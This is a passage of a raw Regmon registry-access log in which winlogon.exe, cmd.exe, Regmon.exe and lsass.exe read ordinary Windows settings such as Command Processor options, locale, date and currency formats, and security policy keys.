SUCCESS Key: 0xE112B450
60 19.30150368 winlogon.exe:452 CloseKey HKCU SUCCESS Key: 0xE1415300
61 19.30163750 winlogon.exe:452 OpenKey HKCU SUCCESS Key: 0xE1415300
62 19.30169952 winlogon.exe:452 OpenKey

HKCU\AppEvents\Schemes\Apps\.Default\Open\.Current\Active NOTFOUND
63 19.30174058 winlogon.exe:452 QueryValue HKCU\(Default) NOTFOUND
64 19.30180568 winlogon.exe:452 CloseKey HKCU SUCCESS Key: 0xE1415300
65 19.30211773 winlogon.exe:452 OpenKey HKLM\Software\Microsoft\Windows\CurrentVersion

SUCCESS Key: 0xE1415300
66 19.30217975 winlogon.exe:452 OpenKey

HKLM\Software\Microsoft\Windows\CurrentVersion\Software\Microsoft\Windows\CurrentVersion
NOTFOUND

67 19.30224149 winlogon.exe:452 QueryValue
HKLM\Software\Microsoft\Windows\CurrentVersion\MediaPath SUCCESS
"C:\WINDOWS\Media"
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68 19.30239067 winlogon.exe:452 CloseKey HKLM\Software\Microsoft\Windows\CurrentVersion
SUCCESS Key: 0xE1415300

69 19.30900156 cmd.exe:1880 OpenKey HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon SUCCESS Key: 0xE114F370
70 19.30907168 cmd.exe:1880 QueryValue HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LeakTrack NOTFOUND
71 19.30917672 cmd.exe:1880 CloseKey HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon SUCCESS Key: 0xE114F370
72 19.30925271 cmd.exe:1880 OpenKey HKLM SUCCESS Key: 0xE114F370
73 19.30932367 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Diagnostics NOTFOUND
74 19.31014556 cmd.exe:1880 OpenKey HKLM\System\CurrentControlSet\Control\Error Message
Instrument\ NOTFOUND
75 19.31137058 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Compatibility32 SUCCESS Key: 0xE1415300
76 19.31144964 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Compatibility32\cmd NOTFOUND
77 19.31160972 cmd.exe:1880 CloseKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Compatibility32 SUCCESS Key: 0xE1415300
78 19.31176756 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Windows NT\CurrentVersion\IME
Compatibility SUCCESS Key: 0xE1415300
79 19.31182650 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Windows
NT\CurrentVersion\IME Compatibility\cmd NOTFOUND
80 19.31192568 cmd.exe:1880 CloseKey HKLM\Software\Microsoft\Windows NT\CurrentVersion\IME
Compatibility SUCCESS Key: 0xE1415300
81 19.31275958 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Windows SUCCESS Key: 0xE1415300
82 19.31280875 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs SUCCESS ""
83 19.31290150 cmd.exe:1880 CloseKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Windows SUCCESS Key: 0xE1415300
84 19.31442069 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE1415300
85 19.31452461 cmd.exe:1880 OpenKey HKCU\Software\Policies\Microsoft\Control Panel\Desktop

NOTFOUND
86 19.31462351 cmd.exe:1880 OpenKey HKCU\Control Panel\Desktop SUCCESS Key:
0xE112B450
87 19.31468357 cmd.exe:1880 QueryValue HKCU\Control Panel\Desktop\MultiUILanguageId

NOTFOUND
88 19.31480370 cmd.exe:1880 CloseKey HKCU\Control Panel\Desktop SUCCESS Key:
0xE112B450
89 19.31488667 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE1415300
90 19.31534455 cmd.exe:1880 OpenKey HKLM\System\CurrentControlSet\Control\Session Manager

SUCCESS Key: 0xE1415300
91 19.31539567 cmd.exe:1880 QueryValue HKLM\System\CurrentControlSet\Control\Session
Manager\SafeDllSearchMode NOTFOUND
92 19.31547753 cmd.exe:1880 CloseKey HKLM\System\CurrentControlSet\Control\Session Manager

SUCCESS Key: 0xE1415300
93 19.31587869 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE1415300
94 19.31594155 cmd.exe:1880 OpenKey HKCU\Software\Policies\Microsoft\Windows\System

NOTFOUND
95 19.31669556 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Command Processor

SUCCESS Key: 0xE112B450
96 19.31674556 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\DisableUNCCheck NOTFOUND
97 19.31679473 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\EnableExtensions SUCCESS 0x1
98 19.31683971 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\DelayedExpansion NOTFOUND
99 19.31745264 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\DefaultColor SUCCESS 0x0
100 19.31750460 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\CompletionChar SUCCESS 0x40
101 19.31755265 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\PathCompletionChar SUCCESS 0x40
102 19.31759958 cmd.exe:1880 QueryValue HKLM\Software\Microsoft\Command
Processor\AutoRun SUCCESS ""
103 19.31769960 cmd.exe:1880 CloseKey HKLM\Software\Microsoft\Command Processor

SUCCESS Key: 0xE112B450
104 19.31785772 cmd.exe:1880 OpenKey HKCU\Software\Microsoft\Command Processor

SUCCESS Key: 0xE112B450
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105 19.31792756 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\DisableUNCCheck NOTFOUND
106 19.31797561 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\EnableExtensions SUCCESS 0x1
107 19.31801975 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\DelayedExpansion NOTFOUND
108 19.31806556 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\DefaultColor SUCCESS 0x0
109 19.31811166 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\CompletionChar SUCCESS 0x9
110 19.31815468 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\PathCompletionChar NOTFOUND
111 19.31819770 cmd.exe:1880 QueryValue HKCU\Software\Microsoft\Command
Processor\AutoRun NOTFOUND
112 19.31826168 cmd.exe:1880 CloseKey HKCU\Software\Microsoft\Command Processor

SUCCESS Key: 0xE112B450
113 19.32051560 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE112B450
114 19.32059354 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
115 19.32071255 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE112B450
116 19.32077960 cmd.exe:1880 QueryValue HKCU\Control Panel\International\Locale

SUCCESS "00000409"
117 19.32083966 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
118 19.32101957 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE1A9C8D0
119 19.32108774 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
120 19.32114473 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE1A9C8D0
121 19.32122770 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sTime

SUCCESS ":"
122 19.32128776 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
123 19.32138666 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE112B450
124 19.32145370 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
125 19.32150958 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE112B450
126 19.32156154 cmd.exe:1880 QueryValue HKCU\Control Panel\International\iTime

SUCCESS "0"
127 19.32162160 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
128 19.32171659 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE1A9C8D0
129 19.32178363 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
130 19.32184062 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE1A9C8D0
131 19.32188951 cmd.exe:1880 QueryValue HKCU\Control Panel\International\iDate

SUCCESS "0"
132 19.32194958 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
133 19.32218061 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE112B450
134 19.32224766 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
135 19.32230577 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE112B450
136 19.32235969 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sDate

SUCCESS "/"
137 19.32241975 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
138 19.32251864 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE1A9C8D0
139 19.32258569 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
140 19.32264268 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE1A9C8D0
141 19.32269660 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sDecimal

SUCCESS "."
142 19.32275666 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE112B450
143 19.32285165 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE112B450
144 19.32291953 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE1A9C8D0
145 19.32297652 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE112B450
146 19.32303156 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sThousand

SUCCESS ","
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147 19.32309162 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS
Key: 0xE1A9C8D0

148 19.32338970 cmd.exe:1880 OpenKey HKLM\System\CurrentControlSet\Control\Nls\Locale
SUCCESS Key: 0xE1A9C8D0

149 19.32348273 cmd.exe:1880 OpenKey
HKLM\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts SUCCESS Key: 0xE112B450

150 19.32359867 cmd.exe:1880 OpenKey HKLM\System\CurrentControlSet\Control\Nls\Language
Groups SUCCESS Key: 0xE1A16760
151 19.32365873 cmd.exe:1880 QueryValue

HKLM\System\CurrentControlSet\Control\Nls\Locale\00000409 SUCCESS "1"
152 19.32370064 cmd.exe:1880 QueryValue

HKLM\System\CurrentControlSet\Control\Nls\Language Groups\1 SUCCESS "1"
153 19.32384870 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
154 19.32391659 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
155 19.32397861 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
156 19.32403252 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sCurrency

SUCCESS "$"
157 19.32409259 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
158 19.32419176 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
159 19.32425853 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
160 19.32431552 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
161 19.32437558 cmd.exe:1880 QueryValue HKCU\Control
Panel\International\sMonDecimalSep SUCCESS "."
162 19.32443677 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
163 19.32453454 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
164 19.32460159 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
165 19.32465858 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
166 19.32471864 cmd.exe:1880 QueryValue HKCU\Control
Panel\International\sMonThousandSep SUCCESS ","
167 19.32477955 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
168 19.32487872 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
169 19.32494465 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
170 19.32500164 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
171 19.32506673 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sMonGrouping

SUCCESS "3;0"
172 19.32512652 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
173 19.32522653 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
174 19.32529470 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
175 19.32535057 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
176 19.32541259 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sPositiveSign

SUCCESS ""
177 19.32547377 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
178 19.32557155 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
179 19.32563971 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
180 19.32569670 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
181 19.32575872 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sNegativeSign

SUCCESS "-"
182 19.32581850 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
183 19.32591964 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
184 19.32598668 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
185 19.32604367 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
186 19.32609368 cmd.exe:1880 QueryValue HKCU\Control Panel\International\iCurrDigits

SUCCESS "2"
187 19.32615374 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
188 19.32667867 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
189 19.32674572 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
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190 19.32680271 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
191 19.32686473 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sGrouping

SUCCESS "3;0"
192 19.32696167 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
193 19.32713264 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
194 19.32720052 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
195 19.32725751 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
196 19.32730864 cmd.exe:1880 QueryValue HKCU\Control Panel\International\s1159

SUCCESS "AM"
197 19.32736954 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
198 19.32746871 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
199 19.32753464 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
200 19.32759275 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
201 19.32764360 cmd.exe:1880 QueryValue HKCU\Control Panel\International\s2359

SUCCESS "PM"
202 19.32770366 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
203 19.32780367 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
204 19.32787072 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
205 19.32792771 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
206 19.32798358 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sShortDate

SUCCESS "M/d/yyyy"
207 19.32804477 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
208 19.32814366 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
209 19.32821071 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
210 19.32826770 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
211 19.32832357 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sLongDate

SUCCESS "dddd, MMMM dd, yyyy"
212 19.32838475 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
213 19.32848477 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE10D4F10
214 19.32855070 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
215 19.32860769 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE10D4F10
216 19.32866663 cmd.exe:1880 QueryValue HKCU\Control Panel\International\sTimeFormat

SUCCESS "h:mm:ss tt"
217 19.32872670 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE19E6D98
218 19.32882559 cmd.exe:1880 OpenKey HKCU SUCCESS Key: 0xE19E6D98
219 19.32889264 cmd.exe:1880 OpenKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
220 19.32894963 cmd.exe:1880 CloseKey HKCU SUCCESS Key: 0xE19E6D98
221 19.32900969 cmd.exe:1880 QueryValue HKCU\Control Panel\International\iCalendarType

SUCCESS "1"
222 19.32907059 cmd.exe:1880 CloseKey HKCU\Control Panel\International SUCCESS

Key: 0xE10D4F10
223 19.60436368 Regmon.exe:1856 QueryKeyHKCU SUCCESS Name: \REGISTRY\USER\S-
1-5-21-299502267-963894560-839522115-1003_CLASSES
224 19.60445057 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions NOTFOUND

225 19.60453382 Regmon.exe:1856 OpenKey HKCR\Drive\shellex\FolderExtensions SUCCESS
Key: 0xE10D4F10

226 19.60457879 Regmon.exe:1856 QueryKeyHKCR\Drive\shellex\FolderExtensions SUCCESS
Name: \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions

227 19.60465869 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions NOTFOUND

228 19.60470255 Regmon.exe:1856 EnumerateKey HKCR\Drive\shellex\FolderExtensions
SUCCESS Name: {fbeb8a05-beee-4442-804e-409d6c4515e9}

229 19.60473971 Regmon.exe:1856 QueryKeyHKCU SUCCESS Name: \REGISTRY\USER\S-
1-5-21-299502267-963894560-839522115-1003_CLASSES
230 19.60478078 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} NOTFOUND
231 19.60483581 Regmon.exe:1856 OpenKey HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Key: 0xE19E6D98
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232 19.60487660 Regmon.exe:1856 QueryKeyHKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Name:
\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}
233 19.60493862 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} NOTFOUND
234 19.60497773 Regmon.exe:1856 QueryValue HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-
beee-4442-804e-409d6c4515e9}\DriveMask SUCCESS 0x20
235 19.60506657 Regmon.exe:1856 CloseKey HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Key: 0xE19E6D98
236 19.60510568 Regmon.exe:1856 EnumerateKey HKCR\Drive\shellex\FolderExtensions NOMORE

237 19.60514982 Regmon.exe:1856 CloseKey HKCR\Drive\shellex\FolderExtensions SUCCESS
Key: 0xE10D4F10

238 19.61600064 Regmon.exe:1856 QueryKeyHKCU SUCCESS Name: \REGISTRY\USER\S-
1-5-21-299502267-963894560-839522115-1003_CLASSES
239 19.61607858 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions NOTFOUND

240 19.61617077 Regmon.exe:1856 OpenKey HKCR\Drive\shellex\FolderExtensions SUCCESS
Key: 0xE10D4F10

241 19.61621463 Regmon.exe:1856 QueryKeyHKCR\Drive\shellex\FolderExtensions SUCCESS
Name: \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions

242 19.61629174 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions NOTFOUND

243 19.61632861 Regmon.exe:1856 EnumerateKey HKCR\Drive\shellex\FolderExtensions
SUCCESS Name: {fbeb8a05-beee-4442-804e-409d6c4515e9}

244 19.61636269 Regmon.exe:1856 QueryKeyHKCU SUCCESS Name: \REGISTRY\USER\S-
1-5-21-299502267-963894560-839522115-1003_CLASSES
245 19.61640376 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} NOTFOUND
246 19.61645768 Regmon.exe:1856 OpenKey HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Key: 0xE19E6D98
247 19.61649874 Regmon.exe:1856 QueryKeyHKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Name:
\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}
248 19.61656076 Regmon.exe:1856 OpenKey HKCU\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} NOTFOUND
249 19.61660155 Regmon.exe:1856 QueryValue HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-
beee-4442-804e-409d6c4515e9}\DriveMask SUCCESS 0x20
250 19.61668368 Regmon.exe:1856 CloseKey HKCR\Drive\shellex\FolderExtensions\{fbeb8a05-beee-
4442-804e-409d6c4515e9} SUCCESS Key: 0xE19E6D98
251 19.61672168 Regmon.exe:1856 EnumerateKey HKCR\Drive\shellex\FolderExtensions NOMORE

252 19.61676470 Regmon.exe:1856 CloseKey HKCR\Drive\shellex\FolderExtensions SUCCESS
Key: 0xE10D4F10

253 19.61954857 lsass.exe:520 OpenKey HKLM\SECURITY\Policy SUCCESS Key:
0xE10D4F10
254 19.62039561 lsass.exe:520 OpenKey HKLM\SECURITY\Policy\SecDesc SUCCESS

Key: 0xE19E6D98
255 19.62045064 lsass.exe:520 QueryValue HKLM\SECURITY\Policy\SecDesc\(Default)

BUFOVRFLOW
256 19.62053669 lsass.exe:520 CloseKey HKLM\SECURITY\Policy\SecDesc SUCCESS

Key: 0xE19E6D98
257 19.62060569 lsass.exe:520 OpenKey HKLM\SECURITY\Policy\SecDesc SUCCESS

Key: 0xE19E6D98
258 19.62063279 lsass.exe:520 QueryValue HKLM\SECURITY\Policy\SecDesc\(Default)

SUCCESS NONE
259 19.62067469 lsass.exe:520 CloseKey HKLM\SECURITY\Policy\SecDesc SUCCESS

Key: 0xE19E6D98
260 19.62130662 lsass.exe:520 CloseKey HKLM\SECURITY\Policy SUCCESS Key:
0xE10D4F10
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